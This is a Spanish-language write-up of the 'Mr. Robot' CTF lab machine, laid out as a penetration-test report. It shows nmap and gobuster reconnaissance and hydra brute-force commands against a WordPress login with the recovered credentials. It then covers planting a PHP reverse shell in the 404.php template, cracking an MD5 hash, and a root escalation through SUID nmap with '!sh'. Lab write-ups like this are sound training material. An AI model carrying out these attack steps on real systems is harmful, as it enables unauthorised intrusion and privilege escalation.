**Informe Profesional: Análisis de la Máquina CTF "MR. Robot"**

A continuación, se presenta el informe completo con los datos recopilados y los avances obtenidos durante el análisis de la Máquina CTF "MR. Robot":

1. **Resultados del escaneo de puertos utilizando Nmap:**

* Puerto 22/tcp: Cerrado (ssh).
* Puerto 80/tcp: Abierto (http) - Servicio: Apache httpd.
* Puerto 443/tcp: Abierto (ssl/http) - Servicio: Apache httpd.

***Comandos:***

* ***nmap -A <ip>***
* ***nmap -sS -sV <ip>***

1. **Resultados del escaneo de directorios utilizando Gobuster:**

* /images: Redirecciona a http://10.10.180.63/images/ [Estado: 301, Tamaño: 235].
* /blog: Redirecciona a http://10.10.180.63/blog/ [Estado: 301, Tamaño: 233].
* /rss: Redirecciona a http://10.10.180.63/feed/ [Estado: 301, Tamaño: 0].
* /sitemap: Estado: 200 [Tamaño: 0].
* /login: Redirecciona a http://10.10.180.63/wp-login.php [Estado: 302, Tamaño: 0].
* /0: Redirecciona a http://10.10.180.63/0/ [Estado: 301, Tamaño: 0].
* /feed: Redirecciona a http://10.10.180.63/feed/ [Estado: 301, Tamaño: 0].
* /video: Redirecciona a http://10.10.180.63/video/ [Estado: 301, Tamaño: 234].
* /image: Redirecciona a http://10.10.180.63/image/ [Estado: 301, Tamaño: 0].
* /atom: Redirecciona a http://10.10.180.63/feed/atom/ [Estado: 301, Tamaño: 0].
* /wp-content: Redirecciona a http://10.10.180.63/wp-content/ [Estado: 301, Tamaño: 239].
* /admin: Redirecciona a http://10.10.180.63/admin/ [Estado: 301, Tamaño: 234].
* /audio: Redirecciona a http://10.10.180.63/audio/ [Estado: 301, Tamaño: 234].
* /intro: Estado: 200 [Tamaño: 516314].
* /wp-login: Estado: 200 [Tamaño: 2606].
* /rss2: Redirecciona a http://10.10.180.63/feed/ [Estado: 301, Tamaño: 0].
* /css: Redirecciona a http://10.10.180.63/css/ [Estado: 301, Tamaño: 232].
* /license: Estado: 200 [Tamaño: 309].
* /wp-includes: Redirecciona a http://10.10.180.63/wp-includes/ [Estado: 301, Tamaño: 240].
* /js: Redirecciona a http://10.10.180.63/js/ [Estado: 301, Tamaño: 231].
* /Image: Redirecciona a http://10.10.180.63/Image/ [Estado: 301, Tamaño: 0].

En este paso concluimos que hay una dirección /wp-admin el cual es una ruta del login de wordpress

***Comandos:***

* ***gobuster dir -u http://10.10.132.192/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt***

1. **Descubrimiento en el archivo robots.txt:**

Archivos encontrados: fsocity.dic, key-1-of-3.txt.

En el cual fsocity.dic es un diccionario de datos por el cual nos servirá para realizar fuerza bruta para conseguir el usuario y password del login de la pagina de wordpress

1. **Descubrimiento de Credenciales**

Se utilizo la herramienta de hydra para realizar fuerza bruta y conseguir las credenciales

Usuario: Elliot.

Contraseña: ER28-0652.

Y por el cual se obtuvo Acceso al panel de administración de WordPress

***Comandos:***

* ***hydra -vV -L /home/kali/Downloads/fsocity.dic -p test 192.168.2.101 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=log+In:F=Invalid Username"***
* ***hydra -vV -l elliot -P /home/kali/Downloads/fsocity.dic 192.168.2.101 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=log+In:F=is incorrect"***

1. **Acceso a la maquina**

Una vez que tuvimos acceso a la zona de administración de wordpress entonces el paso que realizamos para tener acceso a la maquina victima es mediante la modificación de plantillas con el editor y modificamos la plantilla 404.php y borramos el código y lo reemplazamos con un revershell ubicada en **"/usr/share/webshells/php-reverse-shell.php"**

***Comandos:***

* ***nc -lvp 443***

Con la revershell realizamos un tratamiento a la Shell que se nos ejecutó con los comandos:

***python -c 'import pty; pty.spawn("/bin/bash")'***

***export TERM=xterm***

***export SHELL=bash***

***stty rows 28 columns 148***

1. **Escalada de Privilegios 1:**

No se tenia tantos permisos con la revershell generada anteriormente y nos encontramos un archivos con la contraseña de otro usuario en el cual se descifro en crackstation

Descifrado del archivo password.raw-md5:

Contenido del archivo: robot:c3fcd3d76192e4007dfb496cca67e13b.

Resultado del descifrado: abcdefghijklmnopqrstuvwxyz.

***Comandos:***

* ***su robot***

1. **Escalada de Privilegios 2:**

Para obtener privilegios root, usamos el comando **find / -perm -u=s -type f 2>/dev/null** para buscar archivos en el sistema que tengan el bit de permisos SUID (Setuid) activado y que sean de tipo archivo regular. Y poder explotar alguna vulnerabilidad y encontramos a Nmap: con permisos SUID (Setuid) en el sistema.

Se utilizó el recurso de gtfobins para aprovechar la vulnerabilidad de Nmap y obtener privilegios elevados en el sistema.

**Procedimiento:**

Se ejecutó el comando "**nmap --interactive**" para ingresar al modo interactivo de Nmap.

Dentro del modo interactivo de Nmap, se introdujo el comando "**!sh**" para ejecutar una shell en el contexto del proceso actual.

Como resultado, se logró obtener privilegios de root en la máquina CTF "MR. Robot".

***Comandos:***

* ***find / -perm -u=s -type f 2>/dev/null***
* ***nmap –interactive***
* ***!sh***

1. **Conclusiones:**

* Durante el análisis de la Máquina CTF "MR. Robot", se realizaron diferentes etapas y se obtuvieron resultados significativos que permitieron avanzar en el proceso de penetración.
* Se identificaron puertos abiertos y servicios en ejecución, lo que proporcionó información sobre posibles puntos de entrada al sistema.
* Mediante el escaneo de directorios, se descubrieron rutas y archivos relevantes que permitieron continuar con el análisis y la obtención de información sensible.
* Se logró acceder al panel de administración de WordPress utilizando técnicas de fuerza bruta y se obtuvieron credenciales de inicio de sesión.
* Se realizó una modificación en la plantilla de la página web para establecer una conexión de reverseshell y obtener acceso a la computadora víctima.
* Se descubrió una vulnerabilidad en Nmap que permitió obtener privilegios de root en la máquina CTF "MR. Robot".

1. **Recomendaciones:**

* **Reforzar la seguridad del sistema:** Es esencial tomar medidas para fortalecer la seguridad de los servicios y puertos expuestos, como asegurar las contraseñas, aplicar parches de seguridad y configurar adecuadamente los permisos de los archivos y directorios.
* **Realizar auditorías de seguridad periódicas**: Es recomendable realizar auditorías regulares del sistema para identificar posibles vulnerabilidades y garantizar que se implementen las medidas necesarias para proteger la infraestructura.
* **Mantener actualizados los sistemas y aplicaciones:** Es importante mantener actualizados tanto el sistema operativo como las aplicaciones y servicios utilizados, ya que las actualizaciones suelen incluir correcciones de seguridad importantes.
* **Limitar el acceso a recursos sensibles:** Se debe asegurar que los archivos y directorios con información sensible estén correctamente protegidos y que solo se permita el acceso a usuarios autorizados.
* **Realizar pruebas de penetración:** Las pruebas de penetración regulares ayudan a identificar y corregir posibles vulnerabilidades antes de que puedan ser explotadas por atacantes externos.

Estas recomendaciones buscan mejorar la seguridad general del sistema y prevenir posibles brechas de seguridad. Se sugiere implementar estas medidas en un entorno de producción o empresarial para garantizar la integridad y confidencialidad de la información.